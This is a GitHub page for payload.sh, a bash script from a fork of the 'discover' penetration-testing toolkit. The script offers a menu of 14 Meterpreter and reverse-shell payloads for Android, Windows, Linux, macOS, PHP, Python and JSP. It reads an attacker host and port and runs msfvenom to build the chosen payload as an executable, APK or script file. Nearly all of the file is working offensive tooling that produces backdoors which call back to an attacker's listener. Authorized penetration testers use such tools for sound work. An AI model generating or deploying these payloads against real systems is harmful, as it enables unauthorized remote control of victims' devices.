forked from leebaird/discover
-
Notifications
You must be signed in to change notification settings - Fork 0
/
payload.sh
executable file
·135 lines (123 loc) · 3.44 KB
/
payload.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#!/bin/bash
clear
f_banner
echo -e "${BLUE}Malicious Payloads${NC}"
echo
echo "1. android/meterpreter/reverse_tcp"
echo "2. cmd/windows/reverse_powershell"
echo "3. java/jsp_shell_reverse_tcp (Linux)"
echo "4. java/jsp_shell_reverse_tcp (Windows)"
echo "5. linux/x64/meterpreter_reverse_https"
echo "6. linux/x64/meterpreter_reverse_tcp"
echo "7. linux/x64/shell/reverse_tcp"
echo "8. osx/x64/meterpreter_reverse_https"
echo "9. osx/x64/meterpreter_reverse_tcp"
echo "10. php/meterpreter/reverse_tcp"
echo "11. python/meterpreter_reverse_https"
echo "12. python/meterpreter_reverse_tcp"
echo "13. windows/x64/meterpreter_reverse_https"
echo "14. windows/x64/meterpreter_reverse_tcp"
echo "15. Previous menu"
echo
echo -n "Choice: "
read choice
case $choice in
1) payload="android/meterpreter/reverse_tcp"
extention=".apk"
format="raw"
arch="dalvik"
platform="android";;
2) payload="cmd/windows/reverse_powershell"
extention=".bat"
format="raw"
arch="cmd"
platform="windows";;
3) payload="java/jsp_shell_reverse_tcp"
extention=".jsp"
format="raw"
arch="elf"
platform="linux";;
4) payload="java/jsp_shell_reverse_tcp"
extention=".jsp"
format="raw"
arch="cmd"
platform="windows";;
5) payload="linux/x64/meterpreter_reverse_https"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
6) payload="linux/x64/meterpreter_reverse_tcp"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
7) payload="linux/x64/shell/reverse_tcp"
extention=".elf"
format="elf"
arch="x64"
platform="linux";;
8) payload="osx/x64/meterpreter_reverse_https"
extention=".macho"
format="macho"
arch="x64"
platform="osx";;
9) payload="osx/x64/meterpreter_reverse_tcp"
extention=".macho"
format="macho"
arch="x64"
platform="osx";;
10) payload="php/meterpreter/reverse_tcp"
extention=".php"
format="raw"
arch="php"
platform="php"
encoder="php/base64";;
11) payload="python/meterpreter_reverse_https"
extention=".py"
format="raw"
arch="python"
platform="python";;
12) payload="python/meterpreter_reverse_tcp"
extention=".py"
format="raw"
arch="python"
platform="python";;
13) payload="windows/x64/meterpreter_reverse_https"
extention=".exe"
format="exe"
arch="x64"
platform="windows";;
14) payload="windows/x64/meterpreter_reverse_tcp"
extention=".exe"
format="exe"
arch="x64"
platform="windows";;
15) f_main;;
*) f_error;;
esac
echo
echo -n "LHOST: "
read lhost
# Check for no answer
if [[ -z $lhost ]]; then
lhost=$ip
echo "[*] Using $ip"
echo
fi
echo -n "LPORT: "
read lport
# Check for no answer
if [[ -z $lport ]]; then
lport=443
echo "[*] Using 443"
echo
fi
# Check for valid port number.
if [[ $lport -lt 1 || $lport -gt 65535 ]]; then
f_error
fi
x=$(echo $payload | sed 's/\//-/g')
msfvenom -p $payload LHOST=$lhost LPORT=$lport -f $format -a $arch --platform $platform -o $home/data/$x-$lport$extention
echo
echo